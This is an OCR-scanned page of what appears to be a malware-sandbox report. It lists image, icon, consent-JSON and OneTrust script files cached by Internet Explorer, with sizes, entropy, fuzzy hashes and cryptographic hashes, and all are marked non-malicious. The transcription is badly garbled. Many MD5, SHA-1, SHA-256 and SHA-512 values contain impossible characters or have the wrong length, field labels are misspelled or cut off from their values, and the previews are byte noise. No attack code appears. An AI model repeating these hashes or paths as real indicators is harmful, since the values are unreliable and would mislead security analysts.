SHA-512: B74308C36987A45BC96EB0E7C68ABI35A3CC51CD3C9B4D0A8BA784342B268715A937445DEB3AEFACAS723FBC215B1CADAE7BC7294EECEC04A2F1786EDE73EL
A7

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\AAOdxvW[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3

Category: dropped

Size (bytes): 23645

Entropy (8bit):  7.810879378215357

Encrypted: false

SSDEEP: 384:IUEz+UYUKaDX4ZCDbcpwWpedBE/WYqU9m8LaBIlJcvIDAKVA4IFE4IN3QNr:IUEZz+UbKa8ZQQptpedAWp8LaCHglDAed

MD5: F2186DFE6F4836465043A993391B84C5

SHAL: C595247171C1DD8D73429B0C58773C5E177106C5

SHA-256: 710EFEEA80DBB97B005C47E34341F00ABCD3345A5756EC967A6D1D6D06094B22

SHA-512: 21E86B092676E1EAE42E18C680D176A045E8158CE8386DB7D8624B7D3C70E9A018C1992FCAB22A6FEBF824445BF1850E7E98BFB4AAECDA769ADA52356DFCF43
D3

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\AAPXV6f[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\AAPXV6f[1].jpg

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped

Size (bytes): 43958

Entropy (8bit): 7.95479647369897

Encrypted: false

SSDEEP: 768:1dCQ1yKoBe/VFAqoqC/SW7LndEg6gbkwFYXbGUMCCwkAYmDJIEROomfB5G:IdREILRoh6W7 TAE4TmiVbwkAymV6R+f6
MDS5: B43D172214BFE87CA52255744EC5929C

SHA1L: 43C790A53D899DEB39D6EAF5FB449953282D10E8

SHA-256: 54BE96E34C36759FF69E882E176B4B49FD52B87B08E658F6544B367207B1B624

SHA-512: 3C35AF2C4EE4268EA820767DDBE05D94B5D33B033261F9E8628B06D3FF616830BA23D2B35A98A0087550F7A0A3C634FA966A65107757B6FA0F25F7AACCD63FF:
Malicious: false

Preview:

&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.........
........................................................................... ?...0&.e&.v.I<i..8..7L.4&&..j..8....b."E...KF.f..."....4..i0..ku..%c...v..<.[.0j.....m...*d.c..{.Bx.a..35.m..0>..L...2.Qs&0Jh.8.:-
7R].n.i.Jz..v.@ MW1.b....%)\..cv..S..hi..w..H./.K.T..LLK.I..n.T..vi.G$.....0.0l....... 0.....V6..Y0gS..i"...9..6.."..c..s..f..d-..n\Y......e.... i.Yy.q..@..;.1.5.7..1.0.Y....X
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AARfw7b[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3

Category: modified

Size (bytes): 25424

Entropy (8bit): 7.872077651941203

Encrypted: false

SSDEEP: 384:1JevjgAhIBpfdsHIUebsmAiW4XtCi3TLAIIMOusVIQewV/0JjucfK8IXsENe:1JeLgUB3spVbljD5jLpMdsVLjJ/VE

MD5: 4B4588EDDD7A2E6517B7D0018DD82EE3

SHA1L: 6487DFEOE42A95116835CED249175E6F3D5E95B4

SHA-256: 366D03FA212EEE18E60835E02F07EB3D5C054BDE122E558C6F51F2133B36DB04

SHA-512: 641743FD1F56D3AE734EA6ESCEED1F3D5287B9C56E70C66C2D2C7D8050F4CC76DE4E00701908F9E9458994349CCBD93DFEAIB36C691BDOSAE30E744C8B599(C
E

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\AARjTo7[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 19356

Entropy (8bit):  7.948589080765709

Encrypted: false

SSDEEP: 384:NMaopABOBYWomk1sj2+Y9+eiB8azWV7BVDnVOcviKuNgs8KmFE5hsDRkeuWTMrX0:NMP+xtNu2V9+rt+dVnVt3KuZ8dG5bsm8

MD5: FF1D15E36A45BA83633203F3B7E2862A

SHA1: 5008B7735E8052005CE52C52C3DAFFA0FAEB8F23

SHA-256: 860A18697195EA174D2B23E29AB5DA22F4B9D10616209F17AEEG99E8F705FC3A

SHA-512: 6EC39298F2D7F078163472582ECCC8F99914DEBEF70A3D47BB5F05BB99A5FB0619DDAD71E24DA4F7822F3868FD1E213C1B27AAB020B6A28DES3CC70BD710DF
C

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\AARIAXA[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped

Size (bytes): 47841

Entropy (8bit): 7.888478769037165
Encrypted: false

Copyright Joe Security LLC 2021 Page 30 of 74



C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\AARIAXA[1].jpg

SSDEEP: 768:18z3IUpH7r8WV3RziR2bvz3/W1GvmU/L5/girHGvrWjdBXiB6J9Vy/gLMJIDrXamA:18z3+h/ZV3xiR2X/UUNVBXixgYJ/O

MDS5: 5A202D316270FE5C61E76FD64123CB49

SHA1L: D4E21887B048C7206EDC7C77814854C0E44716FC

SHA-256: 2D53A045AC74C4F569011108FFC8641118B0B0C40354DBB14A9379F2723AA564

SHA-512: 0D77D47E34D099B47A219BAFC79503FEBODD2A165FA561BE2C4D2BF7F6E16DCE8C832822A55F5A6C3CD22747072E111D48062DD5610DCCF13D544DCCD896F
9

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AARIUO0z[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 28257

Entropy (8bit):  7.970929748720004

Encrypted: false

SSDEEP: 768:NXEdxjimjWJi0O/fWSBLW/VuHYj453h6xKwQ99:NWKJIDO/EjoAXKLT

MDS5: 12AFAB0C6BFF7191CCBFE07C15E77BES

SHA1L: 3732E2ED2152788559F5CE3659F5AC1675B51C8D

SHA-256: 9DFOE6C72F4D9C326FCDA6931E206E278115CFIE36031263D82C14CC4913A882

SHA-512: 19127CD90B6D4FAED95BE6BD896B84DE7AC1ICE1AF58B8211DC2D3A17CF7CD1BC425420DB1272BD090970EA7A0988069CF94F85A340829E78A0355527906F27"
Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\AARIvai[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 14111

Entropy (8bit):  7.89289989781908

Encrypted: false

SSDEEP: 192:Q2Q2t9+UoxIv8TIVIFQkLIMbouLsFAeE48smmu/Yw+MArbSa04S4mbp8kgnYuQKQ:NXqvWIvISkx348s4/il1IKK9IQKL3RS

MD5: 6D0C7FFEE5417674B7C4D1D3E54A3DEC

SHA1L: 8B69B16B2FA981515069374BCECED8905FDCDDD1

SHA-256: 5C15D4AF4856CBA27C1E4AE8D118979555871BA05B78CCD4FC6EDF48A87B39B3

SHA-512: EE93DC5EAF2D121317BE90A4ABO11FB6FFFE4722C4CB419AD00E30393E284D6E946D651E5081876506AB107FDE9CC24CF994DE7ALALOFCDC8BIE283E7CF70¢
Cc9

Malicious: false

Preview:

"|..e..0P.d.@....P.h..v.....G
@.E.%..@..9.@.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\AARmMOKA[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 11354

Entropy (8bit): 7.8268113059951805

Encrypted: false

SSDEEP: 192:Q2B4m3VCxzol0Y6kvVscOTDBYgg3cmvgJk9otEulVDEfP3bvckluOW:NBZtGHkIsrXBY1Y690tEUVAfP3bw3

MD5: ES5E77739AB15FDIF2FD5F6CB7291679B

SHAL: E6DDB01B76F08F4DE66987FE684FD97035F3E76A

SHA-256: 7TA58AAT74472C82670FFB68F862378376B3DF5B3FC83DB2094B254595AE2890A2
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\AARmMOKA[1].jpg

SHA-512: 409D424364D532368B0BA2323362C6F9431DFFEC7927445AA699257A38C07BE50FOB6ADOBD1E8BF50D6534FD3FESE5997A626916130CEAFD7ASCADAODCEDCS
8
Malicious: false
Preview:
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C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\AARm3dD[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 18768

Entropy (8bit):  7.946351991554511

Encrypted: false

SSDEEP: 384:N9dBDM+hulyOVS2VHYECNcOw4Cmfd4ialPJEVKS5z/L7p18j2cR1x:NC+UlyOM2VHyq4PralxF5zPn82cZ

MDS5: 79279F721FF8C74B10CA43EOF5336FBE

SHA1L: 4C192F0EB63A397CD78CE973227072C966909FDF

SHA-256: A1263575D520458E7F3D81C40E5344710036B3F1BED1ABO356E3FAAE8CI9AE50

SHA-512: 6B3A1DC1366279034EB3B239517179B439B2BA525A089BDIEB7ESED97BF2CCB2350CACD2BDF7EF150DBAFB4BA19048B98967BF13AFDEF49E372BDDOCSESBL
3DD

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AARmIyN[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 23459

Entropy (8bit):  7.963601517437201

Encrypted: false

SSDEEP: 384:NIGrv41zT8PzdtC/oeYA48G3iCAE7R7mbGnolunalWOsZ+J:NIGrUzT82geYAPGW7mMunavJ

MD5: D69BC5C426DEB55367A4AAD06488CA0B

SHA1L: 454F5ADE4F022C6A72EF23A033742E0309B428B5

SHA-256: FEE9EA59BB9052B59B8B86811C340FEC156820031F384E76C4ADCF3FF1215ACA47

SHA-512: D1FD5BBF5BI9ED6D2F2D7ACA18CCASB6BEDABDI906022C5E4264E7874A37DD78D5CD4E9BB3C38CD24CDBA3A36A73B3F81CC72DD4285FCCEQ075814222FEALE
8E92

Malicious: false

Preview:

LNL2. L #g Frof59..T.*
4...6.0...p..s.8.s....F.....

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\BB1gyTJJ[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped

Size (bytes): 28511

Entropy (8bit):  7.874084579228965

Encrypted: false

SSDEEP: 768:1dcIzEVd5QWIiGhC3WOQIHASZIBAINWAZKDSAj:IA0d535CMOQIHASEpwSki

MD5: 4DF8DD6D0OF07C93CF4BDAB709C312993

SHAL: 3D7987EF7E126936328E337FD3A8E06485C4BB2F

SHA-256: CF09AC32AAE02628FDF2FBDFC551BC13E68F2B3365E4EF52B36B35825624BFBD

SHA-512: 7BCAF8719307F5F05E86AEEOEDDAFA947CD9379036148A311A857A134E955AA228E5094410E4B9FF01047B093EESFD953E47FAD819BA310466F3864CCIF16A13
Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\BB1gyTJJ[1].jpg

Preview:

...8.zP.{.q..K).g.?(..
...... P..@.y.Ww..7

Z.)K)S..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1gyWh5[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

22695

7.810298738669907

false

384:1/t2Ip812AN13D4+f3G7VE3fIChBIHKgXOymBVBWzTk1Uvhp3c6:l//UWAOEZelChBIH5ZOIz73z
67E55E01B3746273C0D6440E0229464B

BOEFBEF2F457E3C497F77D9ACEFE845CD9446801
4441E3858AFDA9EA55051473DF78DD2F23BF21CAD83492CBFF9C032CEBALF657

3FD344D0FF4B05BC3FCCC7CD291C5E93841DD620097AC82B5338663A2013DE39463C8E73A51C0DF504553646D9CC5C2721BEAB7B97576B3CE070017BA01CFC
A

false

(.G.=."VQ..P."y.@2x.., d.VS.H E#
$#s..h.... T.Xd.vO.U.A.._z.R.

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBH3Kvo[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

579

7.468727026221326

false
12:6v/7ziAVG8tUZ8VveAL8SE6MbRRkeYZ2GIguM+7KfO3NE3EmMns6F9:uisI8x5L8ub7keYZ2GILsMiO6F9
FDC96E25125ACA9FAA9328286DF59A3C

AE96A116A24EC53C3D1E2F386435F6CE6B6B6F08
201E3277C624BCFDAF85CA20EE8BABA22D8D3BFF44FDAD41FC23CB07AEOE9A40

98591D2D6F7CODF27DDEG3572C3751974323B6A34CCE14845D418E32E17177DF27F612CDBD9F44B24AFC5C259CEE37CBCD08DDAODB9A81434169DE9BB2CDE
24

false

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBK9Hzy[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

480

7.323791813342231

false

12:6v/7BusWIjbykLNgdQLPhgZPwb6txC3nUPuzZZch:MW6bykxgSh6a6TCSth
163E7CEBA4224A9D25813CD756D138CC
062FFF66A1E7C37BAE1IECE635034A03C54638D50
14525F17E552171DEE6D57C932287048185BE36D9AC25DA79CB02AD00657DEAF
C37D77C1414B75CEGE3A90087B3C1E9D57AF6BCA4C140F1F4F43503D89C849EE1143315260A4DF92F1DD273305C15121FF199C04E946FA3BBD98B9B1D663606!

false

IDATX..R=H.Q.}...2...L... .Oh.B.....IL...... hjon%i.J..%.5.:.._c.ux.=...wQ...?2.L.\E.]] ...0.&m..l.U.z..M6.....9.....(....3..x.0
13.....0&}........ *.w....X..5.%..4.E.WX. { 4..2hB...c.m..]mOW."Y.,.2n.W..P.U.a .p...f\gV.....0.4e........ 7s 4...0...u..*..t6....v..4...c8.4...0./i.Dh.../[t..h.5...IES$....+.r.Cv... T
<.S.*z#..p.B...") JR........ =...w.e...I[END.B".

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\MEEXW4H4\cfdbd9[1].png

Process:

File Type:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\MEEXW4H4\cfdbd9[1].png
Category: dropped

Size (bytes): 740

Entropy (8bit):  7.552939906140702

Encrypted: false
SSDEEP: 12:6v/70MpfkExg1JOT5FINRIYX1TEdLh8vJI542irJQ5nnXZkCa0j0cMgL17jXGW:HMuXk5RWT TEovnOAXZMitL9awW
MDS5: FE5E6684967766FF6A8AC57500502910
SHA1L: 3F660AA0433C4DBB33C2C13872AA5A95BC6D377B
SHA-256: 3B6770482AF6DA488BD797AD2682C8D204ED536D0D173EE7BB6CEBOD479A2EAT
SHA-512: AF9F1BABF872CBF76FC8C6B497E70F07DF1677BB17A92F54DC837BC2158423B5BF1480FF20553927ECA2E3F57D5E23341E88573A1823F3774BFF8871746FFA51
Malicious: false
Preview:
.PNG.......IHDR...............U....sBIT....|.d.....pHYs........... ~.....tEXtSoftware.Adobe Fireworks CS6......tEXtCreation Time.07/21/16.~y....<IDATH..;k.Q....;.;..&..#..4..2...

VL Xe~{].C L& S.mlLLSM.F3.3W,e.%. x.,..c..0.*V...W.=0.uv.X...C....3"....s.....C.....
. P D........ M..9...ek.kP.A.*2....k..D.}.
.Rel'.-@........ +.a.*x..0....Y.m.1.N.l..V."..;.V..a.3.U....,.1c.-.J<..q.m-1..d.A.d.".4 k..i.......SL.....IEND.B".

M..Ni...[..]5.&...9.z5]H....gf....I...
V%.\..vIM..3.t....8.S.P.........9...y1.<..9...

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\de-ch[1].json

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 79097

Entropy (8bit):  5.337866393801766

Encrypted: false

SSDEEP: 768:0lAy9Xsiltnuy5zlux1whjCU7kJB1C54AYtiQzNEJEWICgP5HVN/QZYUmftKCB:olLEJxa4CmdiuWIDxHga7B

MD5: 408DDD452219F77E388108945DE7DOFE

SHA1L: C34BAE1E2EBD5867CB735A5C9573E08C4787E8E7

SHA-256: 197C124AD4B7DD42D6628B9BEFD54226CCDCD631ECFAEE6FB857195835F3B385

SHA-512: 17B4CF649A4EAE86A6A38ABA535CAFOAEFB318D06765729053FDE4CD2EFEE7C13097286D0B8595435D0EB62EF09182A9A10CFEE2E71B72B74A6566A2697EAB
1B

Malicious: false

Preview:

{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","cctld":"55a804ab-e5
€6-4b97-9319-86263d365d28","MainText":"lhre Privatsph.re","MainInfoText":"Wir verarbeiten Ihre Daten, um Inhalte oder Anzeigen bereitzustellen, und analysieren die
Bereitstellung solcher Inhalte oder Anzeigen, um Erkenntnisse .ber unsere Website zu gewinnen. Wir geben diese Informationen auf der Grundlage einer Einwilligung und
eines berechtigten Interesses an unsere Partner weiter. Sie k.nnen lhr Recht auf Einwilligung oder Widerspruch gegen ein berechtigtes Interesse aus.ben, und zwar auf
der Grundlage eines der folgenden bestimmten Zwecke oder auf Partnerebene .ber den Link unter jedem Zweck. Diese Entscheidungen werden an unsere Anbieter, die
am Transparency and Consent Framework teilnehmen, signalisiert.”,"AboutText":"Weitere Informationen","AboutCookiesText":"lhre Privatsph.re","ConfirmText":"Alle zulas
sen","AllowAll

C:\Usersl\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXWA4H4\favicon[1].ico

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: MS Windows icon resource - 2 icons, 16x16, 16 colors, 32x32, 16 colors

Category: dropped

Size (bytes): 1078

Entropy (8bit):  1.240940859118772

Encrypted: false

SSDEEP: 3:etFEh9HYflVINI/AXII1pe/WNNO0000000000000000000000000000000000001:QNtY6+IKY6

MD5: 4123CE1E1732F202F60292941FF1487D

SHA1L: 9F12B11BDE582DAE37CE8C160537D919C561C464

SHA-256: D961B08E4321250926DE6F79087594975FE20AD1518DEBF91EB711AF5D1A6EF8

SHA-512: 11B24C2E622C408E4774FAE120B719A21A0B2ACFA53230126C35AD6CA57D33D4DE79CBE11D296CFBDE9613CAA03D66B721BD20CF4EE030CF75F5A1FD8A286
A9

Malicious: false

Preview:

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\MEEXW4H4\iab2Data[1].json

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 271194

Entropy (8bit): 5.144309124586737

Encrypted: false

SSDEEP: 1536:13JqIHQCSg23YILFMPpWje+KULpfqjl9zT:hqCSVyleiijq
MD5: 69E873EC1DB1AA38922F46E435785B61

SHAL: OE17DD5D16C19D40847AEEEC9AF898BB7F228801
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEIMEEXW4H4\iab2Data[1].json

SHA-256:
SHA-512:
Malicious:

Preview:

D90C45999873C12E05B6A850C7C5473E1CB3DA9BD087DB5F038F56ABD65F108C
27F403FDC906C317F4023735B29ABB090867CAA41103CE2FD19E487323EBEE15884DF10A353741C218BB83C748464BE3D75459F5D086FDE983DB85FC86ADA4D

false

{"gvISpecificationVersion":2,"tcfPolicyVersion":2,"features":{"1":{"descriptionLegal":"Vendors can:\n* Combine data obtained offline with data collected online in support of
one or more Purposes or Special Purposes.”,"id":1,"name":"Match and combine offline data sources","description":"Data from offline data sources can be combined with y
our online activity in support of one or more purposes"},"2":{"descriptionLegal":"Vendors can:\n* Deterministically determine that two or more devices belong to the same
user or household\n* Probabilistically determine that two or more devices belong to the same user or household\n* Actively scan device characteristics for identification for
probabilistic identification if users have allowed vendors to actively scan device characteristics for identification (Special Feature 2)","id":2,"name":"Link different devices

" "description":"Different devices can be determined as belonging to you or your household in support of one or more of purposes."},"3"{"de

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\otSDKStub[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

dropped

19145

5.333194115540307

false

384:7RoViYMusfTaiBMFHRy0I2VMwG4JRulKBf: 7aViMsffBMnktf
0D2A3807FB77D862C97924D018C7B04C
9D17F3621001D08F7B98395AC571FC5F6CDATFEF
75DE71E7FEAC92082AF2F49B7079C0B587B16A5E2BB4DABDA7E7EB66327402FB
409ABCD5E970CAFFIF489D3E7F3D9464B2C5189118D2D046CA99E42CEC630C2C65B30397B8A87C3860E3426CFIF7EOASF86511539CA9DIAEDA26C74CA90559

false

var OneTrustStub=function(e){"use strict";var t,o,n,i,a,r,s,lc,p,u,d,m,hf,g,Abyv,C,lwSLTR,B,D,P,_ EGUOKkFVNxjHMKzqW,JY,Q,XZ3$ee=new function(){
this.optanonCookieName="OptanonConsent" this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.|ABCookieValue="" this.oneTru
stIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal" this.isStubReady=!0,this.geolocationCookiesParam="geolocation",

this. EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","L
1","NO","IS"]this.stubFileName="0tSDKStub",this. DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[] this.isMi
gratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainld="[[NewDomainld]]",this.userLocation={country:"" state:""}};(0=t=t||{})[0.Unknown=0]="Unknow
n",0[0.BannerCloseButton=1]="BannerCloseButton",o[

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\MEEXW4H4\otTCF-ie[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

103536

5.315961772640951

false
768:nq79kuJrnt6JjU7cVbkhS/G+FBITimSmjCRpOQRaPXJHIVhXKNTUCL29kJIXYoXY:49jht4bbkAOCRpI6 TVgTUCLBX10UU/px
6E60674C04FFF923CEGE30A0CD4B1A04

D77ED2B9FA6DD82C7A5F740777CC38858D9CBDDD
48221F1DEOF509D6C365D9F4BA1D7DB8619E01C6BC4AC8462536836E582CDC66
62F5068BDEDBA361DAD0OB50B66F617A2A964B9D3DB748BFI9DE29C4F6307B1891AF9A4D384F3CEB25C77B62D245F338D967084301391A41BAB9772E2632B36B9

false

var otTCF=function(e){"use strict";var c="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function t(e){return e&&e.__
esModule&&Obiject.prototype.hasOwnProperty.call(e, "default”) ?e.default:e}function n(e,t){return e(t={exports:{}},t.exports),t.exports}function r(e){return e&&e.Math==Math&
&elfunction p(e){try{return!!e()}catch(e){return!0O}}function E(e,t){return{fenumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}function o(e){return I.call(e).slice(8,-1)
Yunction u(e){if(null==e)throw TypeError("Can't call method on "+e);return e}function I(e){return L(u(e))}function f(e){return“object"==typeof e?null!==e:"function"==typeof
e}function i(e,t){if('f(e))return e;var n,r;if(t&&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;if(“function"==typeof(n=e.valueOf)&&!f(r=n.call(e)))return r;if('t&
&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;throw TypeError("Can't convert object to primitive value")}function y(

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\MEEXW4H4\px[1].gif

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 1 x 1

dropped

43

3.0950611313667666

false

3:CUMIIRPQEsJ9pse:GI3QEsJLse

AD4BOF606E0F8465BC4C4C170B37E1A3
50B30FD5F87C85FES5CBA2635CB83316CA71250D7
CF4724B2F736ED1AOAE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA

EBFEOCODF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADFOF64B65467EA58B7CD4D03CFOALB1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDFSAI
910

false

GIF89a............. L R L.;
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\1622781899594-470[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 622x325, frames 3
Category: dropped

Size (bytes): 100219

Entropy (8bit):  7.981874019401278

Encrypted: false

SSDEEP: 3072:uZikR/DrbY HMIQ+PWGXUF6uzb9DRCtu4XV:GRbrMkIgICtIXV

MDS5: BCE9E9F51CEB37FDCE38C85E15B01E0D

SHA1L: FA35D45551157201302C2DC9C17COE75D739812F

SHA-256: 7773BD1C8EB46C3DE31147CF8A9399DBC10CB50B25609C1F33BCBCAS53FEES39

SHA-512: 394F14EF0D32560451C02720B37F5DEA15711814956F74DF12090167DE722927362E1A57135AB660ADB65AA2B806708E6CES5396B40E45737788BCODODD467410

Malicious: false

Preview:
...... JFIF i Ciiiiiiccitceece e G B LU AQAL
g...2....#...BR...$3b%..&4r.C.55T e 11..AQaq......"2...B#Rb..r3C.....Sc............. P *.D".<8#.z.~...c.i...22.....,._.[..ks.O.....0..2..c.'{.

.T.PsW.C.zq...x..f.....D-.m.b.k.y{.<C#6....i.e..._*7.C..||. NXCLATEX-LBLTVWRLCL i nuem L G#...).3.9T \b....._/;...PRKRUs({x."..d.% XmWKx~..-.......... %..$.
B v~Clge] iy z 2w me. . cc..#.Dt. .....8..8.x ~bF.>.@(\q........z|..#.0DU8..[.@..ar..W....... TE=...1l.~..@m." '}.Ww.w.?.}zb....{.\ZU..u..2\.6.2.#1..2...
ALLIOpat? i nma L >, 2nY AL ULl 0.GINRUHL R <ELL L~ OW- L pFLLL >

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAPwesU[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 77

Entropy (8bit):  7.6388112692970775

Encrypted: false

SSDEEP: 24:+71A8BoZmceXgKpNkTxSdmeGtOVLQT2NA2LTBixN:0VoZBn+aFQmFCV8r2L10

MD5: A89DEB9BDIC12EE39216B4724EF24752

SHA1L: F3410A1069610A57CA068947F1A77F73B9B20FDA

SHA-256: 7438061CAC6A152A15BD67057926404DB423936B22635A1902B0BF54C4B14464

SHA-512: 4065BD6D0C141DF2AB3C4CFOAE2C0D87530363EC2CAFCF47493F8CA69025C8613B2B77065924F49AFE4AC810A7D6DDD14DFCB3E69274EC7D167382D24806F7C
7

Malicious: false

Preview:
